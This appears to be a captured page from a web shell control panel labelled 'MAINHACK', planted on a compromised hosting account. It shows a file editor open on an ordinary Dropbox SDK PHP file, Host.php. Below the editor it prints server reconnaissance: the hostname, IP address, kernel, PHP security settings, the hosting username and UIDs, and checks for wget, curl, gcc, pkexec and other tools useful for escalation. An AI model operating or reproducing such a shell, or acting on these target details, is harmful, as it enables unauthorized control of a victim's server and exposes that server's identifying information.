[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Host.php
<?php namespace Dropbox; /** * The Dropbox web API accesses three hosts; this structure holds the * names of those three hosts. This is primarily for mocking things out * during testing. Most of the time you won't have to deal with this class * directly, and even when you do, you'll just use the default * value: {@link Host::getDefault()}. * * @internal */ final class Host { /** * Returns a Host object configured with the three standard Dropbox host: "api.dropbox.com", * "api-content.dropbox.com", and "www.dropbox.com" * * @return Host */ static function getDefault() { if (!self::$defaultValue) { //self::$defaultValue = new Host("api.dropbox.com", "api-content.dropbox.com", "www.dropbox.com"); self::$defaultValue = new Host("api.dropboxapi.com", "content.dropboxapi.com", "www.dropbox.com"); } return self::$defaultValue; } private static $defaultValue; /** @var string */ private $api; /** @var string */ private $content; /** @var string */ private $web; /** * Constructor. * * @param string $api * See {@link getApi()} * @param string $content * See {@link getContent()} * @param string $web * See {@link getWeb()} */ function __construct($api, $content, $web) { $this->api = $api; $this->content = $content; $this->web = $web; } /** * Returns the host name of the main Dropbox API server. * The default is "api.dropbox.com". * * @return string */ function getApi() { return $this->api; } /** * Returns the host name of the Dropbox API content server. * The default is "api-content.dropbox.com". * * @return string */ function getContent() { return $this->content; } /** * Returns the host name of the Dropbox web server. Used during user authorization. * The default is "www.dropbox.com". * * @return string */ function getWeb() { return $this->web; } /** * Check that a function argument is of type <code>Host</code>. * * @internal */ static function checkArg($argName, $argValue) { if (!($argValue instanceof self)) Checker::throwError($argName, $argValue, __CLASS__); } /** * Check that a function argument is either <code>null</code> or of type * <code>Host</code>. * * @internal */ static function checkArgOrNull($argName, $argValue) { if ($argValue === null) return; if (!($argValue instanceof self)) Checker::throwError($argName, $argValue, __CLASS__); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.96 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830